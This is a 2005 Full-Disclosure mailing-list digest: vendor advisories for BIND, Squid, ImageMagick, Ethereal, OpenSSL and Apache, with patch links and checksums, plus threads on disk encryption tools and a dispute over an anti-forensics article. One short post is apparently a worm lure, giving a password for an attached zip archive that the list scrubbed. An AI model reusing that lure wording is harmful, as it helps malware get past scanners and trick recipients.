arr at FreeBSD.org


From dk at pwarchitects.com  Thu Jan 20 19:26:11 2005
From: dk at pwarchitects.com (dk)
Date: Thu, 20 Jan 2005 13:26:11 -0600
Subject: [Full-Disclosure] harddisk encryption
In-Reply-To: <41EFF4C5.2070809@ebay.com>
References: <31972.1106213279@www38.gmx.net> <41EFF4C5.2070809@ebay.com>
Message-ID: <41F005D3.2070406@pwarchitects.com>

Mike Klein wrote:
> but you get source code too (which is usually
> the case with truly proven crypto technologies).

Indeed, crypto, sans re viewable source, is questionable if for no other 
reason. Am I (or you) personally capable of reviewing all that source? 
Maybe, maybe not. But it offers that opportunity to a community that I 
can become familiar with to make and informed decision.


-- 
dk


From please_reply_to_security at sco.com  Thu Jan 20 20:37:03 2005
From: please_reply_to_security at sco.com (please_reply_to_security at sco.com)
Date: Thu, 20 Jan 2005 12:37:03 -0800
Subject: [Full-Disclosure] OpenServer 5.0.6 OpenServer 5.0.7 : bind remote
	attacker can poison the nameserver cache
Message-ID: <20050120123703.A9237@caldera.com>


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


______________________________________________________________________________

			SCO Security Advisory

Subject:		OpenServer 5.0.6 OpenServer 5.0.7 : bind remote attacker can poison the nameserver cache
Advisory number: 	SCOSA-2005.4
Issue date: 		2005 January 20
Cross reference:	sr886767 fz528463 erg712478 CAN-2003-0914
______________________________________________________________________________


1. Problem Description

	ISC BIND 8.3.x before 8.3.7, and 8.4.x before 8.4.3, allows
	remote attackers to poison the cache via a malicious name
	server that returns negative responses with a large TTL
	(time-to-live) value. 

	CERT/CC Incident Note VU#734644 

	The Common Vulnerabilities and Exposures project (cve.mitre.org)
	has assigned the name CAN-2003-0914 to this issue.


2. Vulnerable Supported Versions

	System				Binaries
	----------------------------------------------------------------------
	OpenServer 5.0.7		See the Maintenance Pack 3 Release Notes
					
	OpenServer 5.0.6 		/etc/named
					/etc/named-xfer
					/usr/bin/nslookup
					/etc/dig
					/etc/host
					/etc/nsupdate
					/etc/dnsquery
					/etc/addr
3. Solution

	The proper solution is to install the latest packages.


4. OpenServer 5.0.6

	4.1 First install oss646c or later

        4.2 Location of oss646c

        ftp://ftp.sco.com/pub/openserver5/oss646c/

        4.3 Verification of oss646c

        MD5 (VOL.000.000) = f19b6c6949f615316bfb075d249989e8
        MD5 (VOL.000.001) = 341ff8553aecd2c7b0c2beaf83030d0f
        MD5 (VOL.000.002) = 6e46708ad8029e12280d4f9ac60ab814
        MD5 (VOL.000.003) = 2868b64a6a6db742adb3b485be645d7e
        MD5 (VOL.000.004) = 1696fe1db9bb063827ee5e76e58dff84
        MD5 (VOL.000.005) = f39da342f8af72fcaccdf478dca04109
        MD5 (VOL.000.006) = 2b31611c8af7d2e7910d6e8e3cf701a6
        MD5 (VOL.000.007) = d0175c0f4e3ed29435b1eab95609f8f4
        MD5 (VOL.000.008) = aa9e8a525c341fed077f981b1dacb486
        MD5 (VOL.000.009) = 8e023af67b57507824406bdda322079a
        MD5 (VOL.000.010) = 2b46e8adba8ae0b64109f2069da978a2

        4.4 Installation of oss646c

        See ftp://ftp.sco.com/pub/openserver5/oss646c/oss646c.txt

	4.5 Location of Fixed Binaries

	ftp://ftp.sco.com/pub/updates/OpenServer/SCOSA-2005.4

	4.6 Verification

	MD5 (VOL.000.000) = f9487c1767b6454d7171b92f87d88bef

	md5 is available for download from
		ftp://ftp.sco.com/pub/security/tools


	4.7 Installing Fixed Binaries

	Upgrade the affected binaries with the following sequence:

	1) Download the VOL* files to a directory

	2) Run the custom command, specify an install from media
	images, and specify the directory as the location of
	the images.


5. OpenServer 5.0.7

	5.1 Location of Fixed Binaries

	Maintenance Pack 3

        http://www.sco.com/support/update/download/osr507list.html

	5.2 Verification

	MD5 (507mp3_vol.tar) = c927aefdd50b50aca5d29e08c1562aec

	md5 is available for download from
		ftp://ftp.sco.com/pub/security/tools

	5.3 Installing Fixed Binaries
	
	See the Maintenance Pack 3 Release Notes

        ftp://ftp.sco.com/pub/openserver5/507/mp/mp3/osr507mp3.html
        or
        ftp://ftp.sco.com/pub/openserver5/507/mp/mp3/osr507mp3.txt


6. References

	Specific references for this advisory:
		http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0914 http://www.kb.cert.org/vuls/id/734644

	SCO security resources:
		http://www.sco.com/support/security/index.html

	SCO security advisories via email
		http://www.sco.com/support/forums/security.html

	This security fix closes SCO incidents sr886767 fz528463 erg712478.


7. Disclaimer

	SCO is not responsible for the misuse of any of the information
	we provide on this website and/or through our security
	advisories. Our advisories are a service to our customers
	intended to promote secure installation and use of SCO
	products.


8. Acknowledgments

	SCO would like to thank CERT and The Internet Software
	Consortium.

______________________________________________________________________________

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (SCO/UNIX_SVR5)

iD8DBQFB8AGgaqoBO7ipriERAsuLAJ4sg4wrczkp8k/NKEjGAT4SWkKI+ACgnFJo
GiBSAz1mV7DOCGMs8N4zpZk=
=04MA
-----END PGP SIGNATURE-----


From martin.pitt at canonical.com  Thu Jan 20 19:47:11 2005
From: martin.pitt at canonical.com (Martin Pitt)
Date: Thu, 20 Jan 2005 20:47:11 +0100
Subject: [Full-Disclosure] [USN-67-1] Squid vulnerabilities
Message-ID: <20050120194711.GA31206@box79162.elkhouse.de>

===========================================================
Ubuntu Security Notice USN-67-1		   January 20, 2005
squid vulnerabilities
CAN-2005-0094, CAN-2005-0095, CAN-2005-0096, CAN-2005-0097
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 4.10 (Warty Warthog)

The following packages are affected:

squid

The problem can be corrected by upgrading the affected package to
version 2.5.5-6ubuntu0.3.  In general, a standard system upgrade is
sufficient to effect the necessary changes.

Details follow:

infamous41md discovered several Denial of Service vulnerabilities in
squid.

A malicious Gopher server could crash squid by sending a line bigger
than 4096 bytes. (CAN-2005-0094)

If squid is configured to send WCPP (Web Cache Communication Protocol)
messages to a "home router", an attacker who was able to send UDP
packets with a forged source address of this router could crash the

erver with a specially crafted WCPP message. (CAN-2005-0095)

Previous versions of squid have a memory leak which gradually cause
memory exhaustion and eventual termination. (CAN-2005-0096)

A remote attacker could crash the server by sending a specially
crafted NTLM type 3 packet. (CAN-2005-0097)

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/s/squid/squid_2.5.5-6ubuntu0.3.diff.gz
      Size/MD5:   261632 b5eff00520a4a5ae42ea9f6848c19574
    http://security.ubuntu.com/ubuntu/pool/main/s/squid/squid_2.5.5-6ubuntu0.3.dsc
      Size/MD5:      652 98bccdccbd9de758502bf8fedb840605
    http://security.ubuntu.com/ubuntu/pool/main/s/squid/squid_2.5.5.orig.tar.gz
      Size/MD5:  1363967 6c7f3175b5fa04ab5ee68ce752e7b500

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/main/s/squid/squid-common_2.5.5-6ubuntu0.3_all.deb
      Size/MD5:   185086 b678138da7fe29c4613cb0dad17a2907

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)

    http://security.ubuntu.com/ubuntu/pool/universe/s/squid/squid-cgi_2.5.5-6ubuntu0.3_amd64.deb
      Size/MD5:    89532 0b85d26fcf6984e283c5114af77c6fd3
    http://security.ubuntu.com/ubuntu/pool/main/s/squid/squid_2.5.5-6ubuntu0.3_amd64.deb
      Size/MD5:   811426 d77e22c9358bcb48356bbe8d10c60119
    http://security.ubuntu.com/ubuntu/pool/universe/s/squid/squidclient_2.5.5-6ubuntu0.3_amd64.deb
      Size/MD5:    70860 c08aa5d1322863bae47c14890c014e52

  i386 architecture (x86 compatible Intel/AMD)

    http://security.ubuntu.com/ubuntu/pool/universe/s/squid/squid-cgi_2.5.5-6ubuntu0.3_i386.deb
      Size/MD5:    88038 106d4406e488ee4f77148cb95e75bb5f
    http://security.ubuntu.com/ubuntu/pool/main/s/squid/squid_2.5.5-6ubuntu0.3_i386.deb
      Size/MD5:   726832 24384d77f74454fa88f616162008eafd
    http://security.ubuntu.com/ubuntu/pool/universe/s/squid/squidclient_2.5.5-6ubuntu0.3_i386.deb
      Size/MD5:    69580 985f64a429db845fbc5919ff58c00eeb

  powerpc architecture (Apple Macintosh G3/G4/G5)

    http://security.ubuntu.com/ubuntu/pool/universe/s/squid/squid-cgi_2.5.5-6ubuntu0.3_powerpc.deb
      Size/MD5:    88972 4668dc70768e79ef115f04636c200502
    http://security.ubuntu.com/ubuntu/pool/main/s/squid/squid_2.5.5-6ubuntu0.3_powerpc.deb
      Size/MD5:   794288 8b93b8d27a758f52e84f783148744263
    http://security.ubuntu.com/ubuntu/pool/universe/s/squid/squidclient_2.5.5-6ubuntu0.3_powerpc.deb
      Size/MD5:    70358 829f568b638019de48ade7f646c134e6
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: Digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050120/7f3eba0d/attachment.bin 

From jmark2099 at yahoo.com  Thu Jan 20 15:55:27 2005
From: jmark2099 at yahoo.com (j mark)
Date: Thu, 20 Jan 2005 07:55:27 -0800 (PST)
Subject: [Full-Disclosure] Re: [ISN] Book Review: Forensic Discovery
Message-ID: <20050120155527.36384.qmail@web42108.mail.yahoo.com>


Anthony Zboralski wrote:

>
> On 19 Jan 2005, at 14:55, InfoSec News wrote:
>
>> 
<snip>
>> of digital forensics.
>
>
> Source: http://hert.org/story.php/58
>
> After reading the review of Dan Farmer and Wietse's
Forensic Discovery, you should hear about
> The Grugq who got fired from @stake after writing a
Phrack Article in which he exposed numerous
> flaws in The Coroner's Toolkit by Dan & Wietse.
>
> Before you read this book, check out the video
(bittorrent) of The Grugq on The Art of Defiling and
> see how to defeat "industry grade" forensic tools
and techniques .
>
> You can also meet him at a hacker convention near
you (in March at BCS2005 in Jakarta, in April
>  at Black Hat in S'pore and Amsterdam and at
HITB2005 Bahrain.
>
> Video of the Grugq's Speech, The Art of Defiling:
>   http://www.hert.org/z/grugq.torrent (Courtesy of
HITB2004)
>
> Presentation Slides:
>  
http://packetstormsecurity.com/hitb04/hitb04-grugq.pdf
(from HITB2004)
>
> Phrack article:
>   http://www.phrack.org/show.php?p=59&a=6 (Phrack
59)
>
> Grugq's Profile:
>  
http://www.bellua.com/bcs2005/asia05.speakers.html#grugq
>
> The Grugq has been researching anti-forensics for
almost 5 years. He has presented
> to the UK's largest forensic practitioner group
where he scared Scotland Yard.
>  Grugq has worked to secure the networks and hosts
of global corporations, and
> he's also worked for security consulting companies.
His work as a security consultant
> was cut short temporarily following the publication
of an article on anti-forensics.
>
> P.S. Is it illegal to talk about anti-forensics
under the Patriot Act?
>
> gaius
>

This article in Phrack is being cited as this guys
qualifications for conducting a security seminar?
Getting fired for writing an article (an article so
clueless --devoid of substance-- as this one) is cited
as a good thing (just because it appeared in phrack)?
Phrack Editors: please apply some standard in choosing
articles, because people do think that having an
article published in phrack amounts to something, and
mostly your articles are superb (except when you plug
articles like this because your friend wrote it)

Just because one tool does not check bad cluster,
doesn't mean that you can use this method of data
hiding to defeat forensics as a whole.

Encryption as an anti-forensics technology.
<sarcasm>Wow. who knew that?</sarcasm>

Logging to a different Syslog server. <sarcasm>Wow.
who knew that?</sarcasm>

Anthony Zboralski: We would expect yot to plug some
article with substance when you promote your speaker
and conference in a lot of security mailing lists. Oh
yeah and you are going to jail if you talk about
anti-forensics in US, you stupid promoter.

jmark



		
__________________________________ 
Do you Yahoo!? 
Yahoo! Mail - 250MB free storage. Do more. Manage less. 
http://info.mail.yahoo.com/mail_250


From jaervosz at gentoo.org  Thu Jan 20 21:46:57 2005
From: jaervosz at gentoo.org (Sune Kloppenborg Jeppesen)
Date: Thu, 20 Jan 2005 22:46:57 +0100
Subject: [Full-Disclosure] [ GLSA 200501-26 ] ImageMagick: PSD decoding heap
	overflow
Message-ID: <200501202247.02012.jaervosz@gentoo.org>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-26
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: ImageMagick: PSD decoding heap overflow
      Date: January 20, 2005
      Bugs: #77932
        ID: 200501-26

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

ImageMagick is vulnerable to a heap overflow when decoding Photoshop
Document (PSD) files, which could lead to arbitrary code execution.

Background
==========

ImageMagick is a collection of tools to read, write and manipulate
images in many formats.

Affected packages
=================

    -------------------------------------------------------------------
     Package                /  Vulnerable  /                Unaffected
    -------------------------------------------------------------------
  1  media-gfx/imagemagick      < 6.1.8.8                   >= 6.1.8.8

Description
===========

Andrei Nigmatulin discovered that a Photoshop Document (PSD) file with
more than 24 layers could trigger a heap overflow.

Impact
======

An attacker could potentially design a mailicous PSD image file to
cause arbitrary code execution with the permissions of the user running
ImageMagick.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All ImageMagick users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=media-gfx/imagemagick-6.1.8.8"

References
==========

  [ 1 ] CAN-2005-0005
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0005
  [ 2 ] iDEFENSE Advisory
        http://www.idefense.com/application/poi/display?id=184&type=vulnerabilities

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-26.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050120/c1105de6/attachment.bin 

From lewk at gentoo.org  Thu Jan 20 22:31:54 2005
From: lewk at gentoo.org (Luke Macken)
Date: Thu, 20 Jan 2005 17:31:54 -0500
Subject: [Full-Disclosure] [ GLSA 200501-27 ] Ethereal: Multiple
	vulnerabilities
Message-ID: <20050120223154.GA10875@tomservo.ne1.client2.attbi.c>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-27
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: High
     Title: Ethereal: Multiple vulnerabilities
      Date: January 20, 2005
      Bugs: #78559
        ID: 200501-27

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

Multiple vulnerabilities exist in Ethereal, which may allow an attacker
to run arbitrary code, crash the program or perform DoS by CPU and disk
utilization.

Background
==========

Ethereal is a feature rich network protocol analyzer.

Affected packages
=================

    -------------------------------------------------------------------
     Package                /  Vulnerable  /                Unaffected
    -------------------------------------------------------------------
  1  net-analyzer/ethereal      < 0.10.9                     >= 0.10.9

Description
===========

There are multiple vulnerabilities in versions of Ethereal earlier than
0.10.9, including:

* The COPS dissector could go into an infinite loop (CAN-2005-0006).

* The DLSw dissector could cause an assertion, making Ethereal exit
  prematurely (CAN-2005-0007).

* The DNP dissector could cause memory corruption (CAN-2005-0008).

* The Gnutella dissector could cause an assertion, making Ethereal
  exit prematurely (CAN-2005-0009).

* The MMSE dissector could free statically-allocated memory
  (CAN-2005-0010).

* The X11 dissector is vulnerable to a string buffer overflow
  (CAN-2005-0084).

Impact
======

An attacker might be able to use these vulnerabilities to crash
Ethereal, perform DoS by CPU and disk space utilization or even execute
arbitrary code with the permissions of the user running Ethereal, which
could be the root user.

Workaround
==========

For a temporary workaround you can disable all affected protocol
dissectors by selecting Analyze->Enabled Protocols... and deselecting
them from the list. However, it is strongly recommended to upgrade to
the latest stable version.

Resolution
==========

All Ethereal users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=net-analyzer/ethereal-0.10.9"

References
==========

  [ 1 ] CAN-2005-0006
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0006
  [ 2 ] CAN-2005-0007
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0007
  [ 3 ] CAN-2005-0008
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0008
  [ 4 ] CAN-2005-0009
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0009
  [ 5 ] CAN-2005-0010
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0010
  [ 6 ] CAN-2005-0084
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0084
  [ 7 ] Ethereal Release Notes
        http://www.ethereal.com/news/item_20050120_01.html

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-27.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050120/bec4a8ea/attachment.bin 

From please_reply_to_security at sco.com  Fri Jan 21 01:44:40 2005
From: please_reply_to_security at sco.com (please_reply_to_security at sco.com)
Date: Thu, 20 Jan 2005 17:44:40 -0800
Subject: [Full-Disclosure] UnixWare 7.1.3 UnixWare 7.1.1 : OpenSSL Multiple
	Vulnerabilities
Message-ID: <20050120174440.A10311@caldera.com>


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


______________________________________________________________________________

			SCO Security Advisory

Subject:		UnixWare 7.1.3 UnixWare 7.1.1 : OpenSSL Multiple Vulnerabilities
Advisory number: 	SCOSA-2005.7
Issue date: 		2005 January 20
Cross reference:	sr890283 fz529411 erg712602 CAN-2004-0079 CAN-2004-0081 CAN-2004-0112
______________________________________________________________________________


1. Problem Description

	OpenSSL implements the Secure Sockets Layer (SSL) and
	Transport Layer Security (TLS) protocols and includes a
	general purpose cryptographic library. SSL and TLS are
	commonly used to provide authentication, encryption,
	integrity, and non-repudiation services to network 
	applications including HTTP, IMAP, POP3, SMTP, and LDAP. 

	The U.K. National Infrastructure Security Co-ordination 
	Centre (NISCC) and the OpenSSL Project have reported several
	vulnerabilities in the OpenSSL SSL/TLS library (libssl). 
	Any application or system that uses this library may be 
	affected. 

	CERT Vulnerability Note VU#288574 
	OpenSSL contains null-pointer assignment in do_change_cipher_spec()
	function 

	The Common Vulnerabilities and Exposures project (cve.mitre.org) 
	has assigned the name CAN-2004-0079 to this issue. 

	CERT Vulnerability Note VU#465542 
	OpenSSL does not properly handle unknown message types 

	The Common Vulnerabilities and Exposures project (cve.mitre.org) 
	has assigned the name CAN-2004-0081 to this issue.

	CERT Vulnerability Note VU#484726
	OpenSSL does not adequately validate length of Kerberos ticket 
	during SSL/TLS handshake.  

	The Common Vulnerabilities and Exposures project (cve.mitre.org)
        has assigned the name CAN-2004-0112 to this issue.

2. Vulnerable Supported Versions

	System				Binaries
	----------------------------------------------------------------------
	UnixWare 7.1.4 			Not vulnerable
	UnixWare 7.1.3 			Distribution
	UnixWare 7.1.1 			Distribution


3. Solution

	The proper solution is to install the latest packages.

4. UnixWare 7.1.3

	4.1 Location of Fixed Binaries

	ftp://ftp.sco.com/pub/updates/UnixWare/SCOSA-2005.7

	4.2 Verification

	MD5 (openssl.pkg) = d2ba4c1dee05dad681b39bfea4d4d7f9
	MD5 (openssld.pkg) = 6a737b8d0265e8194f55f39518380bae

	md5 is available for download from
		ftp://ftp.sco.com/pub/security/tools


	4.3 Installing Fixed Binaries

	Upgrade the affected binaries with the following sequence:

	Download openssl.pkg to the /var/spool/pkg directory

	# pkgadd -d /var/spool/pkg/openssl.pkg


5. UnixWare 7.1.1

	5.1 Location of Fixed Binaries

	ftp://ftp.sco.com/pub/updates/UnixWare/SCOSA-2005.7

	The fixes are also available in SCO UnixWare Release 7.1.1
        Maintenance Pack 5 or later.  See
	ftp://ftp.sco.com/pub/unixware7/uw711pk/uw711mp5.txt

	5.2 Verification

	MD5 (openssl.pkg) = d2ba4c1dee05dad681b39bfea4d4d7f9
	MD5 (openssld.pkg) = 6a737b8d0265e8194f55f39518380bae

	md5 is available for download from
		ftp://ftp.sco.com/pub/security/tools


	5.3 Installing Fixed Binaries

	Upgrade the affected binaries with the following sequence:

	Download openssld.pkg to the /var/spool/pkg directory

	# pkgadd -d /var/spool/pkg/openssld.pkg


6. References

	Specific references for this advisory:
		http://www.us-cert.gov/cas/techalerts/TA04-078A.html 
		http://www.kb.cert.org/vuls/id/288574 
		http://www.kb.cert.org/vuls/id/484726 
		http://www.kb.cert.org/vuls/id/465542 
		http://www.openssl.org/news/secadv_20040317.txt 
		http://www.uniras.gov.uk/vuls/2004/224012/index.htm 
		http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0079 
		http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0112 
		http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0081

	SCO security resources:
		http://www.sco.com/support/security/index.html

	SCO security advisories via email
		http://www.sco.com/support/forums/security.html

	This security fix closes SCO incidents sr890283 fz529411
	erg712602.

7. Disclaimer

	SCO is not responsible for the misuse of any of the information
	we provide on this website and/or through our security
	advisories. Our advisories are a service to our customers
	intended to promote secure installation and use of SCO
	products.


8. Acknowledgments

	SCO would like to thank The U.K. National Infrastructure
	Security Co-ordination Centre (NISCC) and the OpenSSL team.

______________________________________________________________________________

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (SCO/UNIX_SVR5)

iD8DBQFB8E4YaqoBO7ipriERAiQxAKChI85vzJI+OSVxR3MCd+pwjISclACbBbNu
o5meMgN1rcRaBZ7jb7K6sXA=
=11K1
-----END PGP SIGNATURE-----


From list at nolog.org  Fri Jan 21 01:31:58 2005
From: list at nolog.org (list at nolog.org)
Date: Fri, 21 Jan 2005 08:31:58 +0700
Subject: [Full-Disclosure] :)
Message-ID: <mcbckkcykapocaqqsfl@nolog.org>

I  don't bite,  weah!
 
..btw,  "82668" is a  password for archive
-------------- next part --------------
A non-text attachment was scrubbed...
Name: Attach.zip
Type: application/octet-stream
Size: 0 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050121/7a57462c/attachment.obj 

From dk at pwarchitects.com  Fri Jan 21 01:41:44 2005
From: dk at pwarchitects.com (dk)
Date: Thu, 20 Jan 2005 19:41:44 -0600
Subject: [Full-Disclosure] harddisk encryption
In-Reply-To: <41F005D3.2070406@pwarchitects.com>
References: <31972.1106213279@www38.gmx.net> <41EFF4C5.2070809@ebay.com>
	<41F005D3.2070406@pwarchitects.com>
Message-ID: <41F05DD8.6070309@pwarchitects.com>

dk wrote:

> Indeed, crypto, sans re viewable source, is questionable if for no other 
> reason. Am I (or you) personally capable of reviewing all that source? 
> Maybe, maybe not. But it offers that opportunity to a community that I 
> can become familiar with to make and informed decision.

Forgot to mention:

http://sourceforge.net/projects/loop-aes/

...if you ever decide to use Linux as a host OS.
No kernel patches required (optional).
Just the stipulation of module loading & the internal LOOP driver 
(loop.c) to be a module. So a Kernel recompile is necessary if this is 
not set already and a patch-n-recompile of some net-utils files 
{mount,umount,losetup & swapon)

Very nice, very flexible, well maintained.

-- 
dk


From andfarm at teknovis.com  Fri Jan 21 03:02:13 2005
From: andfarm at teknovis.com (Andrew Farmer)
Date: Thu, 20 Jan 2005 19:02:13 -0800
Subject: [Full-Disclosure] harddisk encryption
In-Reply-To: <41F05DD8.6070309@pwarchitects.com>
References: <31972.1106213279@www38.gmx.net> <41EFF4C5.2070809@ebay.com>
	<41F005D3.2070406@pwarchitects.com>
	<41F05DD8.6070309@pwarchitects.com>
Message-ID: <D9531708-6B58-11D9-AD27-000D93C0F38C@teknovis.com>

On 20 Jan 2005, at 17:41, dk wrote:
> dk wrote:
>> Indeed, crypto, sans re viewable source, is questionable if for no 
>> other reason. Am I (or you) personally capable of reviewing all that 
>> source? Maybe, maybe not. But it offers that opportunity to a 
>> community that I can become familiar with to make and informed 
>> decision.
>
> Forgot to mention:
>
> http://sourceforge.net/projects/loop-aes/
>
> ...if you ever decide to use Linux as a host OS.
> No kernel patches required (optional).
> Just the stipulation of module loading & the internal LOOP driver 
> (loop.c) to be a module. So a Kernel recompile is necessary if this is 
> not set already and a patch-n-recompile of some net-utils files 
> {mount,umount,losetup & swapon)
>
> Very nice, very flexible, well maintained.

http://www.saout.de/misc/dm-crypt/

(Device-mapper crypto target - significantly easier to use than 
loopback, supported in kernels >= 2.6.4, and uses cryptoAPI. You can 
even use it for swap!)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: PGP.sig
Type: application/pgp-signature
Size: 186 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050120/f09d2b5e/attachment.bin 

From martin.pitt at canonical.com  Fri Jan 21 03:45:38 2005
From: martin.pitt at canonical.com (Martin Pitt)
Date: Fri, 21 Jan 2005 04:45:38 +0100
Subject: [Full-Disclosure] [sb] [USN-65-1] Apache utility script
	vulnerability
Message-ID: <000001c4ff6b$abc42ac0$0100a8c0@hubercomp.local>

===========================================================
Ubuntu Security Notice USN-65-1		   January 19, 2005
apache vulnerabilities
http://bugs.debian.org/290974
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 4.10 (Warty Warthog)

The following packages are affected:

apache-utils

The problem can be corrected by upgrading the affected package to
version 1.3.31-6ubuntu0.4. In general, a standard system upgrade is
sufficient to effect the necessary changes.

Details follow:

Javier Fern?ndez-Sanguino Pe?a noticed that the "check_forensic"
script created temporary files in an insecure manner. This could
allow a symbolic link attack to create or overwrite arbitrary files
with the privileges of the user invoking the program.

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache_1.3.31-6ubuntu0.4.diff.gz
      Size/MD5:   369655 7ec465eece404f6ddd1d45a8292b1fe6
    http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache_1.3.31-6ubuntu0.4.dsc
      Size/MD5:     1102 9165d920ac5f269f5abf886ee392613c
    http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache_1.3.31.orig.tar.gz
      Size/MD5:  3104170 ca475fbb40087eb157ec51334f260d1b

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache-dev_1.3.31-6ubuntu0.4_all.deb
      Size/MD5:   329424 f05e89912051a57e3a0f4b439d813bcf
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-doc_1.3.31-6ubuntu0.4_all.deb
      Size/MD5:  1186432 b7490f2099b1bd5b512cb2dba9fc3fcf

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)

    http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache-common_1.3.31-6ubuntu0.4_amd64.deb
      Size/MD5:   873090 4de4ad38fa7021c3666349134f3f3939
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-dbg_1.3.31-6ubuntu0.4_amd64.deb
      Size/MD5:  9131010 8dfb8f02f5cd07223069a08c3156a015
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-perl_1.3.31-6ubuntu0.4_amd64.deb
      Size/MD5:   520354 81033c5317f6d50b69a796df54f56f90
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-ssl_1.3.31-6ubuntu0.4_amd64.deb
      Size/MD5:   510288 f986a142140d051b3d2590e7add86a54
    http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache-utils_1.3.31-6ubuntu0.4_amd64.deb
      Size/MD5:   271078 bcb58f9b5a102f4109a0e6bd7b80a1c1
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache_1.3.31-6ubuntu0.4_amd64.deb
      Size/MD5:   397916 6f039537fd6365bd5627a6004f445e45
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/libapache-mod-perl_1.29.0.2-14ubuntu0.1_amd64.deb
      Size/MD5:   491306 86f3c435f888d78e6a03456af0eb7101

  i386 architecture (x86 compatible Intel/AMD)

    http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache-common_1.3.31-6ubuntu0.4_i386.deb
      Size/MD5:   838326 6e8c39afade6e140502592602c180f81
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-dbg_1.3.31-6ubuntu0.4_i386.deb
      Size/MD5:  9080282 3555a952ded8b3370691d8585163587a
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-perl_1.3.31-6ubuntu0.4_i386.deb
      Size/MD5:   494050 62489a77ba210430b8803aea05be968c
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-ssl_1.3.31-6ubuntu0.4_i386.deb
      Size/MD5:   483720 5cc3c2014e2b30b1a0906c2748d6bef3
    http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache-utils_1.3.31-6ubuntu0.4_i386.deb
      Size/MD5:   264974 65e6aed85dd4ac7c1485f8eae951788f
